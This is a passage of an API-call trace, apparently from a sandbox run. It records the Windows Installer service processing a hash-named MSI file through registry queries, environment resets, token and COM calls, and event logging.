lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0xdce220 | out: phkResult=0xdce220*=0x0) returned 0x2 [0211.175] RegCloseKey (hKey=0x0) returned 0x6 [0211.175] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer", ulOptions=0x0, samDesired=0x20119, phkResult=0xdce220 | out: phkResult=0xdce220*=0x174) returned 0x0 [0211.175] RegQueryInfoKeyW (in: hKey=0x174, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0xdce260, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xdce268, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0xdce260*=0x4, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xdce268*=0x4, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0211.175] RegCloseKey (hKey=0x174) returned 0x0 [0211.176] SetThreadToken (Thread=0x0, Token=0x184) returned 1 [0211.176] SetThreadExecutionState (esFlags=0x80000000) returned 0x80000001 [0211.176] CloseHandle (hObject=0x270) returned 1 [0211.177] lstrlenW (lpString="SAGE") returned 4 [0211.177] GetSystemDirectoryW (in: lpBuffer=0xdce0b0, uSize=0x105 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0211.177] LoadLibraryW (lpLibFileName="C:\\Windows\\system32\\SAGE.DLL") returned 0x0 [0211.177] SystemParametersInfoW (in: uiAction=0x10, uiParam=0x0, pvParam=0xdce304, fWinIni=0x0 | out: pvParam=0xdce304) returned 1 [0211.177] SystemParametersInfoW (in: uiAction=0x11, uiParam=0x0, pvParam=0x0, fWinIni=0x0 | out: pvParam=0x0) returned 0 [0211.177] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0211.178] CloseHandle (hObject=0x140) returned 1 [0211.178] RegCloseKey (hKey=0xffffffff80000001) returned 0x0 [0211.178] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0211.178] RegEnumKeyW (in: hKey=0xffffffff80000001, dwIndex=0x0, lpName=0x0, cchName=0x0 | out: lpName=0x0) returned 0xea [0211.178] GetEnvironmentStringsW () returned 0x33c770* [0211.179] SetEnvironmentVariableW (lpName="ALLUSERSPROFILE", lpValue=0x0) returned 1 [0211.179] SetEnvironmentVariableW (lpName="APPDATA", lpValue=0x0) returned 1 [0211.179] SetEnvironmentVariableW (lpName="CommonProgramFiles", lpValue=0x0) returned 1 [0211.179] SetEnvironmentVariableW (lpName="CommonProgramFiles(x86)", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="CommonProgramW6432", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="COMPUTERNAME", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="ComSpec", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="FP_NO_HOST_CHECK", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="HOMEDRIVE", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="HOMEPATH", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="LOCALAPPDATA", lpValue=0x0) returned 1 [0211.180] SetEnvironmentVariableW (lpName="LOGONSERVER", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="NUMBER_OF_PROCESSORS", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="OS", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="Path", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PATHEXT", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PROCESSOR_ARCHITECTURE", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PROCESSOR_IDENTIFIER", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PROCESSOR_LEVEL", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PROCESSOR_REVISION", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="ProgramData", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="ProgramFiles", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="ProgramFiles(x86)", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="ProgramW6432", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PSModulePath", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="PUBLIC", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="SystemDrive", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="SystemRoot", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="TEMP", lpValue=0x0) returned 1 [0211.181] SetEnvironmentVariableW (lpName="TMP", lpValue=0x0) returned 1 [0211.182] SetEnvironmentVariableW (lpName="USERDOMAIN", lpValue=0x0) returned 1 [0211.182] SetEnvironmentVariableW (lpName="USERNAME", lpValue=0x0) returned 1 [0211.182] SetEnvironmentVariableW (lpName="USERPROFILE", lpValue=0x0) returned 1 [0211.182] SetEnvironmentVariableW (lpName="windir", lpValue=0x0) returned 1 [0211.182] SetEnvironmentVariableW (lpName="windows_tracing_flags", lpValue=0x0) returned 1 [0211.182] SetEnvironmentVariableW (lpName="windows_tracing_logfile", lpValue=0x0) returned 1 [0211.182] FreeEnvironmentStringsW (penv=0x33c770) returned 1 [0211.182] SetEnvironmentVariableW (lpName="ALLUSERSPROFILE", lpValue="C:\\ProgramData") returned 1 [0211.182] SetEnvironmentVariableW (lpName="CommonProgramFiles", lpValue="C:\\Program Files\\Common Files") returned 1 [0211.182] SetEnvironmentVariableW (lpName="CommonProgramFiles(x86)", lpValue="C:\\Program Files (x86)\\Common Files") returned 1 [0211.182] SetEnvironmentVariableW (lpName="CommonProgramW6432", lpValue="C:\\Program Files\\Common Files") returned 1 [0211.182] SetEnvironmentVariableW (lpName="COMPUTERNAME", lpValue="Q9IATRKPRH") returned 1 [0211.182] SetEnvironmentVariableW (lpName="ComSpec", lpValue="C:\\Windows\\system32\\cmd.exe") returned 1 [0211.182] SetEnvironmentVariableW (lpName="FP_NO_HOST_CHECK", lpValue="NO") returned 1 [0211.182] SetEnvironmentVariableW (lpName="NUMBER_OF_PROCESSORS", lpValue="1") returned 1 [0211.182] SetEnvironmentVariableW (lpName="OS", lpValue="Windows_NT") returned 1 [0211.183] SetEnvironmentVariableW (lpName="Path", lpValue="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 1 [0211.183] SetEnvironmentVariableW (lpName="PATHEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 1 [0211.183] SetEnvironmentVariableW (lpName="PROCESSOR_ARCHITECTURE", lpValue="AMD64") returned 1 [0211.183] SetEnvironmentVariableW (lpName="PROCESSOR_IDENTIFIER", lpValue="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel") returned 1 [0211.190] SetEnvironmentVariableW (lpName="PROCESSOR_LEVEL", lpValue="6") returned 1 [0211.196] SetEnvironmentVariableW (lpName="PROCESSOR_REVISION", lpValue="5504") returned 1 [0211.196] SetEnvironmentVariableW (lpName="ProgramData", lpValue="C:\\ProgramData") returned 1 [0211.196] SetEnvironmentVariableW (lpName="ProgramFiles", lpValue="C:\\Program Files") returned 1 [0211.196] SetEnvironmentVariableW (lpName="ProgramFiles(x86)", lpValue="C:\\Program Files (x86)") returned 1 [0211.196] SetEnvironmentVariableW (lpName="ProgramW6432", lpValue="C:\\Program Files") returned 1 [0211.196] SetEnvironmentVariableW (lpName="PSModulePath", lpValue="%ProgramFiles%\\WindowsPowerShell\\Modules;C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 1 [0211.196] SetEnvironmentVariableW (lpName="PUBLIC", lpValue="C:\\Users\\Public") returned 1 [0211.196] SetEnvironmentVariableW (lpName="SystemDrive", lpValue="C:") returned 1 [0211.196] SetEnvironmentVariableW (lpName="SystemRoot", lpValue="C:\\Windows") returned 1 [0211.197] SetEnvironmentVariableW (lpName="TEMP", lpValue="C:\\Windows\\TEMP") returned 1 [0211.197] SetEnvironmentVariableW (lpName="TMP", lpValue="C:\\Windows\\TEMP") returned 1 [0211.197] SetEnvironmentVariableW (lpName="USERNAME", lpValue="SYSTEM") returned 1 [0211.197] SetEnvironmentVariableW (lpName="USERPROFILE", lpValue="C:\\Users\\Default") returned 1 [0211.197] SetEnvironmentVariableW (lpName="windir", lpValue="C:\\Windows") returned 1 [0211.197] SetEnvironmentVariableW (lpName="windows_tracing_flags", lpValue="3") returned 1 [0211.197] SetEnvironmentVariableW (lpName="windows_tracing_logfile", lpValue="C:\\BVTBin\\Tests\\installpackage\\csilogfile.log") returned 1 [0211.197] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0xdce0d0, TokenInformationLength=0x58, ReturnLength=0xdce0c0 | out: TokenInformation=0xdce0d0, ReturnLength=0xdce0c0) returned 1 [0211.197] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0xdce180, pSourceSid=0xdce0e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xdce180*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0211.198] ConvertSidToStringSidW (in: Sid=0xdce180*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xdce170 | out: StringSid=0xdce170*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0211.198] LocalFree (hMem=0x3d6720) returned 0x0 [0211.198] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0 [0211.198] StdGlobalInterfaceTable:IGlobalInterfaceTable:RevokeInterfaceFromGlobal (This=0x7fefd6ba1b0, dwCookie=0xe08) [0211.198] StdGlobalInterfaceTable:IUnknown:Release (This=0x3d6028) [0211.198] WaitForSingleObject (hHandle=0x3a8, dwMilliseconds=0x0) returned 0x0 [0211.199] CloseHandle (hObject=0x3a8) returned 1 [0211.199] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0xdce0d0, TokenInformationLength=0x58, ReturnLength=0xdce0c0 | out: TokenInformation=0xdce0d0, ReturnLength=0xdce0c0) returned 1 [0211.199] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0xdce180, pSourceSid=0xdce0e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xdce180*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0211.199] ConvertSidToStringSidW (in: Sid=0xdce180*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xdce170 | out: StringSid=0xdce170*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0211.199] LocalFree (hMem=0x3d6bf0) returned 0x0 [0211.200] GetProcAddress (hModule=0x7fefd4e0000, lpProcName="CoDisconnectObject") returned 0x7fefd4e8420 [0211.201] CoDisconnectObject (pUnk=0x2bec570, dwReserved=0x0) returned 0x0 [0211.201] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xdce270 | out: ppvObject=0xdce270*=0x0) returned 0x80004002 [0211.201] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666ce0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xdce288 | out: ppvObject=0xdce288*=0x2bec570) returned 0x0 [0211.201] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x4 [0211.201] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x3 [0211.201] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x2 [0211.201] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x1 [0211.201] PostThreadMessageW (idThread=0xd38, Msg=0x12, wParam=0x0, lParam=0x0) returned 1 [0211.204] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0xdce310*=0x268, fWaitAll=0, dwMilliseconds=0xffffffff, dwWakeMask=0x4ff) returned 0x0 [0211.204] CloseHandle (hObject=0x268) returned 1 [0211.204] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x7fefd6ba1b0) returned 0x1 [0211.204] SetEvent (hEvent=0x138) returned 1 [0211.205] SetEvent (hEvent=0x13c) returned 1 [0211.210] CloseHandle (hObject=0x138) returned 1 [0211.210] CloseHandle (hObject=0x13c) returned 1 [0211.211] FreeLibrary (hLibModule=0x73440000) returned 1 [0211.212] CloseCodeAuthzLevel () returned 0x1 [0211.212] DestroyWindow (hWnd=0xb00a6) returned 1 [0211.212] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x2, wParam=0x0, lParam=0x0) returned 0x0 [0211.212] NtdllDefWindowProc_W (hWnd=0xb00a6, Msg=0x82, wParam=0x0, lParam=0x0) returned 0x0 [0211.212] UnregisterClassW (lpClassName="MsiHiddenWindow", hInstance=0x7fef7830000) returned 1 [0211.213] CloseHandle (hObject=0x16c) returned 1 [0211.213] CloseHandle (hObject=0x228) returned 1 [0211.213] GetCurrentThreadId () returned 0xf3c [0211.213] SetEvent (hEvent=0xf4) returned 1 [0211.214] CloseHandle (hObject=0x184) returned 1 [0211.215] _vsnwprintf (in: _Buffer=0xdce3c0, _BufferCount=0xe, _Format="%d", _ArgList=0xdce358 | out: _Buffer="3848") returned 4 [0211.215] GetCurrentThreadId () returned 0xf3c [0211.215] GetCurrentThreadId () returned 0xf3c [0211.215] GetLocalTime (in: lpSystemTime=0xdce010 | out: lpSystemTime=0xdce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x22, wMilliseconds=0x12)) [0211.215] _vsnwprintf (in: _Buffer=0xdce2a0, _BufferCount=0x20, _Format="%s (%.2X%c%.2X) [%02u:%02u:%02u:%03u]: ", _ArgList=0xdcdf98 | out: _Buffer="MSI (s) (30:3C) [19:48:49:259]: 쓀5") returned 32 [0211.215] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdf34, pwszLanguagesBuffer=0xdcdf48, pcchLanguagesBuffer=0xdcdf30 | out: pulNumLanguages=0xdcdf34, pwszLanguagesBuffer=0xdcdf48, pcchLanguagesBuffer=0xdcdf30) returned 0 [0211.215] GetLastError () returned 0x7a [0211.215] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0xdcdf34, pwszLanguagesBuffer=0x3b66b0, pcchLanguagesBuffer=0xdcdf30 | out: pulNumLanguages=0xdcdf34, pwszLanguagesBuffer=0x3b66b0, pcchLanguagesBuffer=0xdcdf30) returned 1 [0211.215] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74a20002, dwMessageId=0x412, dwLanguageId=0x409, lpBuffer=0xdce0b0, nSize=0xe0, Arguments=0xdce028 | out: lpBuffer="Ending a Windows Installer transaction: C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi. Client Process Id: 3848.\r\n") returned 0xa2 [0211.216] memcpy (in: _Dst=0xdce070, _Src=0xdce2a0, _Size=0x40 | out: _Dst=0xdce070) returned 0xdce070 [0211.216] GetCurrentThread () returned 0xfffffffffffffffe [0211.216] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xc, OpenAsSelf=1, TokenHandle=0xdcde98 | out: TokenHandle=0xdcde98*=0x0) returned 0 [0211.216] GetLastError () returned 0x3f0 [0211.216] GetCurrentProcess () returned 0xffffffffffffffff [0211.216] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0xc, TokenHandle=0xdcde98 | out: TokenHandle=0xdcde98*=0x184) returned 1 [0211.216] GetTokenInformation (in: TokenHandle=0x184, TokenInformationClass=0x1, TokenInformation=0xdcdde0, TokenInformationLength=0x58, ReturnLength=0xdcddd0 | out: TokenInformation=0xdcdde0, ReturnLength=0xdcddd0) returned 1 [0211.216] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x35ffc0, pSourceSid=0xdcddf0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pDestinationSid=0x35ffc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0211.216] CloseHandle (hObject=0x184) returned 1 [0211.216] RegisterEventSourceW (lpUNCServerName=0x0, lpSourceName="MsiInstaller") returned 0xf40008 [0211.223] ReportEventW (hEventLog=0xf40008, wType=0x4, wCategory=0x0, dwEventID=0x412, lpUserSid=0x35ffc0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), wNumStrings=0x7, dwDataSize=0x0, lpStrings=0xdcdee0*="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", lpRawData=0x0) returned 1 [0211.224] DeregisterEventSource (hEventLog=0xf40008) returned 1 [0211.225] IUnknown_Release_Proxy (This=0x326b58) returned 0x1 [0211.225] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0211.226] IUnknown:Release (This=0x326b58) [0211.226] IUnknown:Release (This=0x326b58) Thread: id = 12 os_tid = 0xf38 [0143.612] CancelWaitableTimer (hTimer=0xfc) returned 1 [0143.613] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0x0) returned 0x102 [0143.613] GetProcAddress (hModule=0x7fef7830000, lpProcName="DllGetClassObject") returned 0x7fef789ebf8 [0143.613] NdrDllGetClassObject (in: rclsid=0xffbe19c8*(Data1=0xc1029, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0xffbe1988*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xbde698, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0xbde698*=0x0) returned 0x80040111 [0143.614] SetEvent (hEvent=0xf4) returned 1 [0143.644] DllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xbde488 | out: ppv=0xbde488*=0x7fef7b24050) returned 0x0 [0143.644] NdrDllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0xbde488, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0xbde488*=0x7fef7b24050) returned 0x0 [0143.645] IUnknown:AddRef (This=0x3d6028) [0143.645] IUnknown:AddRef (This=0x3d6028) [0143.645] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0143.645] GetCurrentThread () returned 0xfffffffffffffffe [0143.645] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde8d8 | out: TokenHandle=0xbde8d8*=0x0) returned 0 [0143.645] CoImpersonateClient () returned 0x0 [0143.645] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde898 | out: Pid=0xbde898) returned 0x0 [0143.645] GetCurrentThread () returned 0xfffffffffffffffe [0143.645] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0xbde858 | out: TokenHandle=0xbde858*=0x1c0) returned 1 [0143.645] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x1, TokenInformation=0xbde6d0, TokenInformationLength=0x58, ReturnLength=0xbde6c0 | out: TokenInformation=0xbde6d0, ReturnLength=0xbde6c0) returned 1 [0143.646] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0xbde780, pSourceSid=0xbde6e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xbde780*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0143.646] ConvertSidToStringSidW (in: Sid=0xbde780*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0xbde770 | out: StringSid=0xbde770*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0143.646] LocalFree (hMem=0x3c6670) returned 0x0 [0143.646] CloseHandle (hObject=0x1c0) returned 1 [0143.646] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (This=0x7fefd6ba1b0, pUnk=0x3d6028, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x327818) [0143.646] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3d6028, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde6e8) [0143.646] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3d6028) [0143.646] StdGlobalInterfaceTable:IGlobalInterfaceTable:GetInterfaceFromGlobal (in: This=0x7fefd6ba1b0, dwCookie=0x200, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3c2300 | out: ppv=0x3c2300*=0x2bec570) returned 0x0 [0143.646] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3c2300 | out: ppvObject=0x3c2300*=0x2bec570) returned 0x0 [0143.647] SetEvent (hEvent=0x370) returned 1 [0143.647] CoRevertToSelf () returned 0x0 [0143.647] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde7d0 | out: ppvObject=0xbde7d0*=0x0) returned 0x80004002 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde6a8 | out: ppvObject=0xbde6a8*=0x0) returned 0x80004002 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde620 | out: ppvObject=0xbde620*=0x0) returned 0x80004002 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666ce0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde5b0 | out: ppvObject=0xbde5b0*=0x2bec570) returned 0x0 [0143.647] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x2bec570) returned 0x5 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d470*(Data1=0x18, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xbde460 | out: ppvObject=0xbde460*=0x0) returned 0x80004002 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d480*(Data1=0x19, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x370da8 | out: ppvObject=0x370da8*=0x0) returned 0x80004002 [0143.647] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d460*(Data1=0x4c1e39e1, Data2=0xe3e3, Data3=0x4296, Data4=([0]=0xaa, [1]=0x86, [2]=0xec, [3]=0x93, [4]=0x8d, [5]=0x89, [6]=0x6e, [7]=0x92)), ppvObject=0xbde458 | out: ppvObject=0xbde458*=0x0) returned 0x80004002 [0143.647] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x4 [0143.648] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x319680*(Data1=0xc1033, Data2=0x0, Data3=0x0, 